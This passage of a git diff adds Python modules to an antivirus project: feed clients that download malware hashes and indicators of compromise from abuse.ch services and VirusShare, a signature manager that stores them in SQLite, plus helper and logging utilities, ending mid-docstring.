-0,0 +1,174 @@ +"""MalwareBazaar feed for AYN Antivirus. + +Fetches recent malware sample hashes from the abuse.ch MalwareBazaar +CSV export (free, no API key required). + +CSV export: https://bazaar.abuse.ch/export/ +""" + +from __future__ import annotations + +import csv +import io +import logging +from typing import Any, Dict, List, Optional + +import requests + +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed + +logger = logging.getLogger(__name__) + +_CSV_RECENT_URL = "https://bazaar.abuse.ch/export/csv/recent/" +_CSV_FULL_URL = "https://bazaar.abuse.ch/export/csv/full/" +_API_URL = "https://mb-api.abuse.ch/api/v1/" +_TIMEOUT = 60 + + +class MalwareBazaarFeed(BaseFeed): + """Fetch malware SHA-256 hashes from MalwareBazaar. + + Uses the free CSV export by default. Falls back to JSON API + if an api_key is provided. + """ + + def __init__(self, api_key: Optional[str] = None, **kwargs: Any) -> None: + super().__init__(**kwargs) + self.api_key = api_key + + def get_name(self) -> str: + return "malwarebazaar" + + def fetch(self) -> List[Dict[str, Any]]: + """Fetch recent malware hashes from CSV export.""" + return self._fetch_csv(_CSV_RECENT_URL) + + def fetch_recent(self, hours: int = 24) -> List[Dict[str, Any]]: + """Fetch recent samples. CSV export returns last ~1000 samples.""" + return self._fetch_csv(_CSV_RECENT_URL) + + def _fetch_csv(self, url: str) -> List[Dict[str, Any]]: + """Download and parse the MalwareBazaar CSV export.""" + self._rate_limit_wait() + self._log("Fetching hashes from %s", url) + + try: + resp = requests.get(url, timeout=_TIMEOUT) + resp.raise_for_status() + except requests.RequestException as exc: + self._error("CSV download failed: %s", exc) + return [] + + results: List[Dict[str, Any]] = [] + lines = [ + line for line in resp.text.splitlines() + if line.strip() and not line.startswith("#") + ] + + reader = csv.reader(io.StringIO("\n".join(lines))) + for row in reader: + if len(row) < 8: + continue + # CSV columns: + # 0: first_seen, 1: sha256, 2: md5, 3: sha1, + # 4: reporter, 5: filename, 6: file_type, 7: mime_type, + # 8+: signature, ... + sha256 = row[1].strip().strip('"') + if not sha256 or len(sha256) != 64: + continue + + filename = row[5].strip().strip('"') if len(row) > 5 else "" + file_type = row[6].strip().strip('"') if len(row) > 6 else "" + signature = row[8].strip().strip('"') if len(row) > 8 else "" + reporter = row[4].strip().strip('"') if len(row) > 4 else "" + + threat_name = ( + signature + if signature and signature not in ("null", "n/a", "None", "") + else f"Malware.{_map_type_name(file_type)}" + ) + + results.append({ + "hash": sha256.lower(), + "threat_name": threat_name, + "threat_type": _map_type(file_type), + "severity": "HIGH", + "source": "malwarebazaar", + "details": ( + f"file={filename}, type={file_type}, reporter={reporter}" + ), + }) + + self._log("Parsed %d hash signature(s) from CSV", len(results)) + self._mark_updated() + return results + + def fetch_by_tag(self, tag: str) -> List[Dict[str, Any]]: + """Fetch samples by tag (requires API key, falls back to empty).""" + if not self.api_key: + self._warn("fetch_by_tag requires API key") + return [] + + self._rate_limit_wait() + payload = {"query": "get_taginfo", "tag": tag, "limit": 100} + if self.api_key: + payload["api_key"] = self.api_key + + try: + resp = requests.post(_API_URL, data=payload, timeout=_TIMEOUT) + resp.raise_for_status() + data = resp.json() + except requests.RequestException as exc: + self._error("API request failed: %s", exc) + return [] + + if data.get("query_status") != "ok": + return [] + + results = [] + for entry in data.get("data", []): + sha256 = entry.get("sha256_hash", "") + if not sha256: + continue + results.append({ + "hash": sha256.lower(), + "threat_name": entry.get("signature") or f"Malware.{tag}", + "threat_type": _map_type(entry.get("file_type", "")), + "severity": "HIGH", + "source": "malwarebazaar", + "details": f"tag={tag}, file_type={entry.get('file_type', '')}", + }) + self._mark_updated() + return results + + +def _map_type(file_type: str) -> str: + ft = file_type.lower() + if any(x in ft for x in ("exe", "dll", "elf", "pe32")): + return "MALWARE" + if any(x in ft for x in ("doc", "xls", "pdf", "rtf")): + return "MALWARE" + if any(x in ft for x in ("script", "js", "vbs", "ps1", "bat", "sh")): + return "MALWARE" + return "MALWARE" + + +def _map_type_name(file_type: str) -> str: + """Map file type to a readable threat name suffix.""" + ft = file_type.lower().strip() + m = { + "exe": "Win32.Executable", "dll": "Win32.DLL", "msi": "Win32.Installer", + "elf": "Linux.ELF", "so": "Linux.SharedLib", + "doc": "Office.Document", "docx": "Office.Document", + "xls": "Office.Spreadsheet", "xlsx": "Office.Spreadsheet", + "pdf": "PDF.Document", "rtf": "Office.RTF", + "js": "Script.JavaScript", "vbs": "Script.VBScript", + "ps1": "Script.PowerShell", "bat": "Script.Batch", + "sh": "Script.Shell", "py": "Script.Python", + "apk": "Android.APK", "ipa": "iOS.IPA", + "app": "macOS.App", "pkg": "macOS.Pkg", "dmg": "macOS.DMG", + "rar": "Archive.RAR", "zip": "Archive.ZIP", + "7z": "Archive.7Z", "tar": "Archive.TAR", "gz": "Archive.GZ", + "iso": "DiskImage.ISO", "img": "DiskImage.IMG", + } + return m.get(ft, "Generic") diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/threatfox.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/threatfox.py new file mode 100644 index 0000000..bc03a25 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/threatfox.py @@ -0,0 +1,117 @@ +"""ThreatFox feed for AYN Antivirus. + +Fetches IOCs (IPs, domains, URLs, hashes) from the abuse.ch ThreatFox +CSV export (free, no API key required). + +CSV export: https://threatfox.abuse.ch/export/ +""" + +from __future__ import annotations + +import csv +import io +import logging +from typing import Any, Dict, List + +import requests + +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed + +logger = logging.getLogger(__name__) + +_CSV_RECENT_URL = "https://threatfox.abuse.ch/export/csv/recent/" +_CSV_FULL_URL = "https://threatfox.abuse.ch/export/csv/full/" +_TIMEOUT = 60 + + +class ThreatFoxFeed(BaseFeed): + """Fetch IOCs from ThreatFox CSV export.""" + + def get_name(self) -> str: + return "threatfox" + + def fetch(self) -> List[Dict[str, Any]]: + return self.fetch_recent() + + def fetch_recent(self, days: int = 7) -> List[Dict[str, Any]]: + """Fetch recent IOCs from CSV export.""" + self._rate_limit_wait() + self._log("Fetching IOCs from CSV export") + + try: + resp = requests.get(_CSV_RECENT_URL, timeout=_TIMEOUT) + resp.raise_for_status() + except requests.RequestException as exc: + self._error("CSV download failed: %s", exc) + return [] + + results: List[Dict[str, Any]] = [] + lines = [l for l in resp.text.splitlines() if l.strip() and not l.startswith("#")] + reader = csv.reader(io.StringIO("\n".join(lines))) + + for row in reader: + if len(row) < 6: + continue + # CSV: 0:first_seen, 1:ioc_id, 2:ioc_value, 3:ioc_type, + # 4:threat_type, 5:malware, 6:malware_alias, + # 7:malware_printable, 8:last_seen, 9:confidence, + # 10:reference, 11:tags, 12:reporter + ioc_value = row[2].strip().strip('"') + ioc_type_raw = row[3].strip().strip('"').lower() + threat_type = row[4].strip().strip('"') if len(row) > 4 else "" + malware = row[5].strip().strip('"') if len(row) > 5 else "" + malware_printable = row[7].strip().strip('"') if len(row) > 7 else "" + confidence = row[9].strip().strip('"') if len(row) > 9 else "0" + + if not ioc_value: + continue + + # Classify IOC type + ioc_type = _classify_ioc(ioc_type_raw, ioc_value) + threat_name = malware_printable or malware or "Unknown" + + # Hash IOCs go into hash DB + if ioc_type == "hash": + results.append({ + "hash": ioc_value.lower(), + "threat_name": threat_name, + "threat_type": "MALWARE", + "severity": "HIGH", + "source": "threatfox", + "details": f"threat={threat_type}, confidence={confidence}", + }) + else: + clean_value = ioc_value + if ioc_type == "ip" and ":" in ioc_value: + clean_value = ioc_value.rsplit(":", 1)[0] + + results.append({ + "ioc_type": ioc_type, + "value": clean_value, + "threat_name": threat_name, + "type": threat_type or "C2", + "source": "threatfox", + "confidence": int(confidence) if confidence.isdigit() else 0, + }) + + self._log("Fetched %d IOC(s)", len(results)) + self._mark_updated() + return results + + +def _classify_ioc(raw_type: str, value: str) -> str: + if "ip" in raw_type: + return "ip" + if "domain" in raw_type: + return "domain" + if "url" in raw_type: + return "url" + if "hash" in raw_type or "sha256" in raw_type or "md5" in raw_type: + return "hash" + if value.startswith("http://") or value.startswith("https://"): + return "url" + if len(value) == 64 and all(c in "0123456789abcdef" for c in value.lower()): + return "hash" + if ":" in value and value.replace(".", "").replace(":", "").isdigit(): + return "ip" + return "domain" diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/urlhaus.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/urlhaus.py new file mode 100644 index 0000000..64af1c5 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/urlhaus.py @@ -0,0 +1,131 @@ +"""URLhaus feed for AYN Antivirus. + +Fetches malicious URLs and payload hashes from the abuse.ch URLhaus +CSV/text exports (free, no API key required). +""" + +from __future__ import annotations + +import csv +import io +import logging +from typing import Any, Dict, List + +import requests + +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed + +logger = logging.getLogger(__name__) + +_CSV_RECENT_URL = "https://urlhaus.abuse.ch/downloads/csv_recent/" +_TEXT_ONLINE_URL = "https://urlhaus.abuse.ch/downloads/text_online/" +_PAYLOAD_RECENT_URL = "https://urlhaus.abuse.ch/downloads/payloads_recent/" +_TIMEOUT = 60 + + +class URLHausFeed(BaseFeed): + """Fetch malware URLs and payload hashes from URLhaus.""" + + def get_name(self) -> str: + return "urlhaus" + + def fetch(self) -> List[Dict[str, Any]]: + results = self.fetch_recent() + results.extend(self.fetch_payloads()) + return results + + def fetch_recent(self) -> List[Dict[str, Any]]: + """Fetch recent malicious URLs from CSV export.""" + self._rate_limit_wait() + self._log("Fetching recent URLs from CSV export") + + try: + resp = requests.get(_CSV_RECENT_URL, timeout=_TIMEOUT) + resp.raise_for_status() + except requests.RequestException as exc: + self._error("CSV download failed: %s", exc) + return [] + + results: List[Dict[str, Any]] = [] + lines = [l for l in resp.text.splitlines() if l.strip() and not l.startswith("#")] + reader = csv.reader(io.StringIO("\n".join(lines))) + for row in reader: + if len(row) < 4: + continue + # 0:id, 1:dateadded, 2:url, 3:url_status, 4:threat, 5:tags, 6:urlhaus_link, 7:reporter + url = row[2].strip().strip('"') + if not url or not url.startswith("http"): + continue + threat = row[4].strip().strip('"') if len(row) > 4 else "" + results.append({ + "ioc_type": "url", + "value": url, + "threat_name": threat if threat and threat != "None" else "Malware.Distribution", + "type": "malware_distribution", + "source": "urlhaus", + }) + + self._log("Fetched %d URL(s)", len(results)) + self._mark_updated() + return results + + def fetch_payloads(self) -> List[Dict[str, Any]]: + """Fetch recent payload hashes (SHA256) from URLhaus.""" + self._rate_limit_wait() + self._log("Fetching payload hashes") + + try: + resp = requests.get(_PAYLOAD_RECENT_URL, timeout=_TIMEOUT) + resp.raise_for_status() + except requests.RequestException as exc: + self._error("Payload download failed: %s", exc) + return [] + + results: List[Dict[str, Any]] = [] + lines = [l for l in resp.text.splitlines() if l.strip() and not l.startswith("#")] + reader = csv.reader(io.StringIO("\n".join(lines))) + for row in reader: + if len(row) < 7: + continue + # 0:first_seen, 1:url, 2:file_type, 3:md5, 4:sha256, 5:signature + sha256 = row[4].strip().strip('"') if len(row) > 4 else "" + if not sha256 or len(sha256) != 64: + continue + sig = row[5].strip().strip('"') if len(row) > 5 else "" + results.append({ + "hash": sha256.lower(), + "threat_name": sig if sig and sig != "None" else "Malware.URLhaus.Payload", + "threat_type": "MALWARE", + "severity": "HIGH", + "source": "urlhaus", + "details": f"file_type={row[2].strip()}" if len(row) > 2 else "", + }) + + self._log("Fetched %d payload hash(es)", len(results)) + return results + + def fetch_active(self) -> List[Dict[str, Any]]: + """Fetch currently-active malware URLs.""" + self._rate_limit_wait() + try: + resp = requests.get(_TEXT_ONLINE_URL, timeout=_TIMEOUT) + resp.raise_for_status() + except requests.RequestException as exc: + self._error("Download failed: %s", exc) + return [] + + results = [] + for line in resp.text.splitlines(): + line = line.strip() + if not line or line.startswith("#"): + continue + results.append({ + "ioc_type": "url", + "value": line, + "threat_name": "Malware.Distribution.Active", + "type": "malware_distribution", + "source": "urlhaus", + }) + self._log("Fetched %d active URL(s)", len(results)) + self._mark_updated() + return results diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/virusshare.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/virusshare.py new file mode 100644 index 0000000..933465e --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/virusshare.py @@ -0,0 +1,114 @@ +"""VirusShare feed for AYN Antivirus. + +Downloads MD5 hash lists from VirusShare.com — one of the largest +free malware hash databases. Each list contains 65,536 MD5 hashes +of known malware samples (.exe, .dll, .rar, .doc, .pdf, .app, etc). + +https://virusshare.com/hashes +""" + +from __future__ import annotations + +import logging +import os +from pathlib import Path +from typing import Any, Dict, List, Optional + +import requests + +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed + +logger = logging.getLogger(__name__) + +_BASE_URL = "https://virusshare.com/hashfiles/VirusShare_{:05d}.md5" +_TIMEOUT = 30 +_STATE_FILE = "/var/lib/ayn-antivirus/.virusshare_last" + + +class VirusShareFeed(BaseFeed): + """Fetch malware MD5 hashes from VirusShare. + + Tracks the last downloaded list number so incremental updates + only fetch new lists. + """ + + def __init__(self, **kwargs: Any) -> None: + super().__init__(**kwargs) + self._last_list = self._load_state() + + def get_name(self) -> str: + return "virusshare" + + def fetch(self) -> List[Dict[str, Any]]: + """Fetch new hash lists since last update.""" + return self.fetch_new_lists(max_lists=3) + + def fetch_new_lists(self, max_lists: int = 3) -> List[Dict[str, Any]]: + """Download up to max_lists new VirusShare hash files.""" + results: List[Dict[str, Any]] = [] + start = self._last_list + 1 + fetched = 0 + + for i in range(start, start + max_lists): + self._rate_limit_wait() + url = _BASE_URL.format(i) + self._log("Fetching VirusShare_%05d", i) + + try: + resp = requests.get(url, timeout=_TIMEOUT) + if resp.status_code == 404: + self._log("VirusShare_%05d not found — at latest", i) + break + resp.raise_for_status() + except requests.RequestException as exc: + self._error("Failed to fetch list %d: %s", i, exc) + break + + hashes = [ + line.strip() + for line in resp.text.splitlines() + if line.strip() and not line.startswith("#") and len(line.strip()) == 32 + ] + + for h in hashes: + results.append({ + "hash": h.lower(), + "threat_name": "Malware.VirusShare", + "threat_type": "MALWARE", + "severity": "HIGH", + "source": "virusshare", + "details": f"md5,list={i:05d}", + }) + + self._last_list = i + self._save_state(i) + fetched += 1 + self._log("VirusShare_%05d: %d hashes", i, len(hashes)) + + self._log("Fetched %d list(s), %d total hashes", fetched, len(results)) + if results: + self._mark_updated() + return results + + def fetch_initial(self, start_list: int = 470, count: int = 11) -> List[Dict[str, Any]]: + """Bulk download for initial setup.""" + old = self._last_list + self._last_list = start_list - 1 + results = self.fetch_new_lists(max_lists=count) + if not results: + self._last_list = old + return results + + @staticmethod + def _load_state() -> int: + try: + return int(Path(_STATE_FILE).read_text().strip()) + except Exception: + return 480 # Default: start after list 480 + + @staticmethod + def _save_state(n: int) -> None: + try: + Path(_STATE_FILE).write_text(str(n)) + except Exception: + pass diff --git a/ayn-antivirus/ayn_antivirus/signatures/manager.py b/ayn-antivirus/ayn_antivirus/signatures/manager.py new file mode 100644 index 0000000..e699287 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/manager.py @@ -0,0 +1,320 @@ +"""Signature manager for AYN Antivirus. + +Orchestrates all threat-intelligence feeds, routes fetched entries into the +correct database (hash DB or IOC DB), and exposes high-level update / +status / integrity operations for the CLI and scheduler. +""" + +from __future__ import annotations + +import logging +import sqlite3 +import threading +import time +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, List, Optional + +from ayn_antivirus.config import Config +from ayn_antivirus.constants import DEFAULT_DB_PATH +from ayn_antivirus.core.event_bus import EventType, event_bus +from ayn_antivirus.signatures.db.hash_db import HashDatabase +from ayn_antivirus.signatures.db.ioc_db import IOCDatabase +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed +from ayn_antivirus.signatures.feeds.emergingthreats import EmergingThreatsFeed +from ayn_antivirus.signatures.feeds.feodotracker import FeodoTrackerFeed +from ayn_antivirus.signatures.feeds.malwarebazaar import MalwareBazaarFeed +from ayn_antivirus.signatures.feeds.threatfox import ThreatFoxFeed +from ayn_antivirus.signatures.feeds.urlhaus import URLHausFeed +from ayn_antivirus.signatures.feeds.virusshare import VirusShareFeed + +logger = logging.getLogger(__name__) + + +class SignatureManager: + """Central coordinator for signature / IOC updates. + + Parameters + ---------- + config: + Application configuration. + db_path: + Override the database path from config. + """ + + def __init__( + self, + config: Config, + db_path: Optional[str | Path] = None, + ) -> None: + self.config = config + self._db_path = Path(db_path or config.db_path) + + # Databases. + self.hash_db = HashDatabase(self._db_path) + self.ioc_db = IOCDatabase(self._db_path) + + # Feeds — instantiated lazily so missing API keys don't crash init. + self._feeds: Dict[str, BaseFeed] = {} + self._init_feeds() + + # Auto-update thread handle. + self._auto_update_stop = threading.Event() + self._auto_update_thread: Optional[threading.Thread] = None + + # ------------------------------------------------------------------ + # Feed registry + # ------------------------------------------------------------------ + + def _init_feeds(self) -> None: + """Register the built-in feeds.""" + api_keys = self.config.api_keys + + self._feeds["malwarebazaar"] = MalwareBazaarFeed( + api_key=api_keys.get("malwarebazaar"), + ) + self._feeds["threatfox"] = ThreatFoxFeed() + self._feeds["urlhaus"] = URLHausFeed() + self._feeds["feodotracker"] = FeodoTrackerFeed() + self._feeds["emergingthreats"] = EmergingThreatsFeed() + self._feeds["virusshare"] = VirusShareFeed() + + @property + def feed_names(self) -> List[str]: + return list(self._feeds.keys()) + + # ------------------------------------------------------------------ + # Update operations + # ------------------------------------------------------------------ + + def update_all(self) -> Dict[str, Any]: + """Fetch from every registered feed and store results. + + Returns a summary dict with per-feed statistics. + """ + self.hash_db.initialize() + self.ioc_db.initialize() + + summary: Dict[str, Any] = {"feeds": {}, "total_new": 0, "errors": []} + + for name, feed in self._feeds.items(): + try: + stats = self._update_single(name, feed) + summary["feeds"][name] = stats + summary["total_new"] += stats.get("inserted", 0) + except Exception as exc: + logger.exception("Feed '%s' failed", name) + summary["feeds"][name] = {"error": str(exc)} + summary["errors"].append(name) + + event_bus.publish(EventType.SIGNATURE_UPDATED, { + "source": "manager", + "feeds_updated": len(summary["feeds"]) - len(summary["errors"]), + "total_new": summary["total_new"], + }) + + logger.info( + "Signature update complete: %d feed(s), %d new entries, %d error(s)", + len(self._feeds), + summary["total_new"], + len(summary["errors"]), + ) + return summary + + def update_feed(self, feed_name: str) -> Dict[str, Any]: + """Update a single feed by name. + + Raises ``KeyError`` if *feed_name* is not registered. + """ + if feed_name not in self._feeds: + raise KeyError(f"Unknown feed: {feed_name!r} (available: {self.feed_names})") + + self.hash_db.initialize() + self.ioc_db.initialize() + + feed = self._feeds[feed_name] + stats = self._update_single(feed_name, feed) + + event_bus.publish(EventType.SIGNATURE_UPDATED, { + "source": "manager", + "feed": feed_name, + "inserted": stats.get("inserted", 0), + }) + + return stats + + def _update_single(self, name: str, feed: BaseFeed) -> Dict[str, Any]: + """Fetch from one feed and route entries to the right DB.""" + logger.info("Updating feed: %s", name) + entries = feed.fetch() + + hashes_added = 0 + ips_added = 0 + domains_added = 0 + urls_added = 0 + + # Classify and batch entries. + hash_rows = [] + ip_rows = [] + domain_rows = [] + url_rows = [] + + for entry in entries: + ioc_type = entry.get("ioc_type") + + if ioc_type is None: + # Hash-based entry (from MalwareBazaar). + hash_rows.append(( + entry.get("hash", ""), + entry.get("threat_name", ""), + entry.get("threat_type", "MALWARE"), + entry.get("severity", "HIGH"), + entry.get("source", name), + entry.get("details", ""), + )) + elif ioc_type == "ip": + ip_rows.append(( + entry.get("value", ""), + entry.get("threat_name", ""), + entry.get("type", "C2"), + entry.get("source", name), + )) + elif ioc_type == "domain": + domain_rows.append(( + entry.get("value", ""), + entry.get("threat_name", ""), + entry.get("type", "C2"), + entry.get("source", name), + )) + elif ioc_type == "url": + url_rows.append(( + entry.get("value", ""), + entry.get("threat_name", ""), + entry.get("type", "malware_distribution"), + entry.get("source", name), + )) + + if hash_rows: + hashes_added = self.hash_db.bulk_add(hash_rows) + if ip_rows: + ips_added = self.ioc_db.bulk_add_ips(ip_rows) + if domain_rows: + domains_added = self.ioc_db.bulk_add_domains(domain_rows) + if url_rows: + urls_added = self.ioc_db.bulk_add_urls(url_rows) + + total = hashes_added + ips_added + domains_added + urls_added + + # Persist last-update timestamp. + self.hash_db.set_meta(f"feed_{name}_updated", datetime.utcnow().isoformat()) + + logger.info( + "Feed '%s': %d hashes, %d IPs, %d domains, %d URLs", + name, hashes_added, ips_added, domains_added, urls_added, + ) + + return { + "feed": name, + "fetched": len(entries), + "inserted": total, + "hashes": hashes_added, + "ips": ips_added, + "domains": domains_added, + "urls": urls_added, + } + + # ------------------------------------------------------------------ + # Status + # ------------------------------------------------------------------ + + def get_status(self) -> Dict[str, Any]: + """Return per-feed last-update times and aggregate stats.""" + self.hash_db.initialize() + self.ioc_db.initialize() + + feed_status: Dict[str, Any] = {} + for name in self._feeds: + last = self.hash_db.get_meta(f"feed_{name}_updated") + feed_status[name] = { + "last_updated": last, + } + + return { + "db_path": str(self._db_path), + "hash_count": self.hash_db.count(), + "hash_stats": self.hash_db.get_stats(), + "ioc_stats": self.ioc_db.get_stats(), + "feeds": feed_status, + } + + # ------------------------------------------------------------------ + # Auto-update + # ------------------------------------------------------------------ + + def auto_update(self, interval_hours: int = 6) -> None: + """Start a background thread that periodically calls :meth:`update_all`. + + Call :meth:`stop_auto_update` to stop the thread. + """ + if self._auto_update_thread and self._auto_update_thread.is_alive(): + logger.warning("Auto-update thread is already running") + return + + self._auto_update_stop.clear() + + def _loop() -> None: + logger.info("Auto-update started (every %d hours)", interval_hours) + while not self._auto_update_stop.is_set(): + try: + self.update_all() + except Exception: + logger.exception("Auto-update cycle failed") + self._auto_update_stop.wait(timeout=interval_hours * 3600) + logger.info("Auto-update stopped") + + self._auto_update_thread = threading.Thread( + target=_loop, name="ayn-auto-update", daemon=True + ) + self._auto_update_thread.start() + + def stop_auto_update(self) -> None: + """Signal the auto-update thread to stop.""" + self._auto_update_stop.set() + if self._auto_update_thread: + self._auto_update_thread.join(timeout=5) + + # ------------------------------------------------------------------ + # Integrity + # ------------------------------------------------------------------ + + def verify_db_integrity(self) -> Dict[str, Any]: + """Run ``PRAGMA integrity_check`` on the database. + + Returns a dict with ``ok`` (bool) and ``details`` (str). + """ + self.hash_db.initialize() + + try: + result = self.hash_db.conn.execute("PRAGMA integrity_check").fetchone() + ok = result[0] == "ok" if result else False + detail = result[0] if result else "no result" + except sqlite3.DatabaseError as exc: + ok = False + detail = str(exc) + + status = {"ok": ok, "details": detail} + if not ok: + logger.error("Database integrity check FAILED: %s", detail) + else: + logger.info("Database integrity check passed") + return status + + # ------------------------------------------------------------------ + # Cleanup + # ------------------------------------------------------------------ + + def close(self) -> None: + """Stop background threads and close databases.""" + self.stop_auto_update() + self.hash_db.close() + self.ioc_db.close() diff --git a/ayn-antivirus/ayn_antivirus/signatures/yara_rules/.gitkeep b/ayn-antivirus/ayn_antivirus/signatures/yara_rules/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/utils/__init__.py b/ayn-antivirus/ayn_antivirus/utils/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/utils/helpers.py b/ayn-antivirus/ayn_antivirus/utils/helpers.py new file mode 100644 index 0000000..010e456 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/utils/helpers.py @@ -0,0 +1,179 @@ +"""General-purpose utility functions for AYN Antivirus.""" + +from __future__ import annotations + +import hashlib +import os +import platform +import re +import socket +import uuid +from datetime import timedelta +from pathlib import Path +from typing import Any, Dict + +import psutil + +from ayn_antivirus.constants import SCAN_CHUNK_SIZE + + +# --------------------------------------------------------------------------- +# Human-readable formatting +# --------------------------------------------------------------------------- + +def format_size(size_bytes: int | float) -> str: + """Convert bytes to a human-readable string (e.g. ``"14.2 MB"``).""" + for unit in ("B", "KB", "MB", "GB", "TB"): + if abs(size_bytes) < 1024: + return f"{size_bytes:.1f} {unit}" + size_bytes /= 1024 + return f"{size_bytes:.1f} PB" + + +def format_duration(seconds: float) -> str: + """Convert seconds to a human-readable duration (e.g. ``"1h 23m 45s"``).""" + if seconds < 0: + return "0s" + td = timedelta(seconds=int(seconds)) + parts = [] + total_secs = int(td.total_seconds()) + + hours, rem = divmod(total_secs, 3600) + minutes, secs = divmod(rem, 60) + + if hours: + parts.append(f"{hours}h") + if minutes: + parts.append(f"{minutes}m") + parts.append(f"{secs}s") + + return " ".join(parts) + + +# --------------------------------------------------------------------------- +# Privilege check +# --------------------------------------------------------------------------- + +def is_root() -> bool: + """Return ``True`` if the current process is running as root (UID 0).""" + return os.geteuid() == 0 + + +# --------------------------------------------------------------------------- +# System information +# --------------------------------------------------------------------------- + +def get_system_info() -> Dict[str, Any]: + """Collect hostname, OS, kernel, uptime, CPU, and memory details.""" + mem = psutil.virtual_memory() + boot = psutil.boot_time() + uptime_secs = psutil.time.time() - boot + + return { + "hostname": socket.gethostname(), + "os": f"{platform.system()} {platform.release()}", + "os_pretty": platform.platform(), + "kernel": platform.release(), + "architecture": platform.machine(), + "cpu_count": psutil.cpu_count(logical=True), + "cpu_physical": psutil.cpu_count(logical=False), + "cpu_percent": psutil.cpu_percent(interval=0.1), + "memory_total": mem.total, + "memory_total_human": format_size(mem.total), + "memory_available": mem.available, + "memory_available_human": format_size(mem.available), + "memory_percent": mem.percent, + "uptime_seconds": uptime_secs, + "uptime_human": format_duration(uptime_secs), + } + + +# --------------------------------------------------------------------------- +# Path safety +# --------------------------------------------------------------------------- + +def safe_path(path: str | Path) -> Path: + """Resolve and validate a path. + + Expands ``~``, resolves symlinks, and ensures the result does not + escape above the filesystem root via ``..`` traversal. + + Raises + ------ + ValueError + If the path is empty or contains null bytes. + """ + s = str(path).strip() + if not s: + raise ValueError("Path must not be empty") + if "\x00" in s: + raise ValueError("Path must not contain null bytes") + + resolved = Path(os.path.expanduser(s)).resolve() + return resolved + + +# --------------------------------------------------------------------------- +# ID generation +# --------------------------------------------------------------------------- + +def generate_id() -> str: + """Return a new UUID4 hex string (32 characters, no hyphens).""" + return uuid.uuid4().hex + + +# --------------------------------------------------------------------------- +# File hashing +# --------------------------------------------------------------------------- + +def hash_file(path: str | Path, algo: str = "sha256") -> str: + """Return the hex digest of *path* using the specified algorithm. + + Reads the file in chunks of :pydata:`SCAN_CHUNK_SIZE` for efficiency. + + Parameters + ---------- + algo: + Any algorithm accepted by :func:`hashlib.new`. + + Raises + ------ + OSError + If the file cannot be opened or read. + """ + h = hashlib.new(algo) + with open(path, "rb") as fh: + while True: + chunk = fh.read(SCAN_CHUNK_SIZE) + if not chunk: + break + h.update(chunk) + return h.hexdigest() + + +# --------------------------------------------------------------------------- +# Validation +# --------------------------------------------------------------------------- + +# Compiled once at import time. +_IPV4_RE = re.compile( + r"^(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}" + r"(?:25[0-5]|2[0-4]\d|[01]?\d\d?)$" +) +_DOMAIN_RE = re.compile( + r"^(?:[a-zA-Z0-9](?:[a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+" + r"[a-zA-Z]{2,}$" +) + + +def validate_ip(ip: str) -> bool: + """Return ``True`` if *ip* is a valid IPv4 address.""" + return bool(_IPV4_RE.match(ip.strip())) + + +def validate_domain(domain: str) -> bool: + """Return ``True`` if *domain* looks like a valid DNS domain name.""" + d = domain.strip().rstrip(".") + if len(d) > 253: + return False + return bool(_DOMAIN_RE.match(d)) diff --git a/ayn-antivirus/ayn_antivirus/utils/logger.py b/ayn-antivirus/ayn_antivirus/utils/logger.py new file mode 100644 index 0000000..3a449cb --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/utils/logger.py @@ -0,0 +1,101 @@ +"""Logging setup for AYN Antivirus. + +Provides a one-call ``setup_logging()`` function that configures a +rotating file handler and an optional console handler with consistent +formatting across the entire application. +""" + +from __future__ import annotations + +import logging +import os +import sys +from logging.handlers import RotatingFileHandler +from pathlib import Path +from typing import Optional + +from ayn_antivirus.constants import DEFAULT_LOG_PATH + +# --------------------------------------------------------------------------- +# Format +# --------------------------------------------------------------------------- +_LOG_FORMAT = "[%(asctime)s] %(levelname)s %(name)s: %(message)s" +_DATE_FORMAT = "%Y-%m-%d %H:%M:%S" + +# Rotating handler defaults. +_MAX_BYTES = 10 * 1024 * 1024 # 10 MB +_BACKUP_COUNT = 5 + + +def setup_logging( + log_dir: str | Path = DEFAULT_LOG_PATH, + level: int | str = logging.INFO, + console: bool = True, + filename: str = "ayn-antivirus.log", +) -> logging.Logger: + """Configure the root ``ayn_antivirus`` logger. + + Parameters + ---------- + log_dir: + Directory for the rotating log file. Created automatically. + level: + Logging level (``logging.DEBUG``, ``"INFO"``, etc.). + console: + If ``True``, also emit to stderr. + filename: + Name of the log file inside *log_dir*. + + Returns + ------- + logging.Logger + The configured ``ayn_antivirus`` logger. + """ + if isinstance(level, str): + level = getattr(logging, level.upper(), logging.INFO) + + root = logging.getLogger("ayn_antivirus") + root.setLevel(level) + + # Avoid duplicate handlers on repeated calls. + if root.handlers: + return root + + formatter = logging.Formatter(_LOG_FORMAT, datefmt=_DATE_FORMAT) + + # --- Rotating file handler --- + log_path = Path(log_dir) + try: + log_path.mkdir(parents=True, exist_ok=True) + fh = RotatingFileHandler( + str(log_path / filename), + maxBytes=_MAX_BYTES, + backupCount=_BACKUP_COUNT, + encoding="utf-8", + ) + fh.setLevel(level) + fh.setFormatter(formatter) + root.addHandler(fh) + except OSError: + # If we can't write to the log dir, fall back to console only. + pass + + # --- Console handler --- + if console: + ch = logging.StreamHandler(sys.stderr) + ch.setLevel(level) + ch.setFormatter(formatter) + root.addHandler(ch) + + return root + + +def get_logger(name: str) -> logging.Logger: + """Return a child logger under the 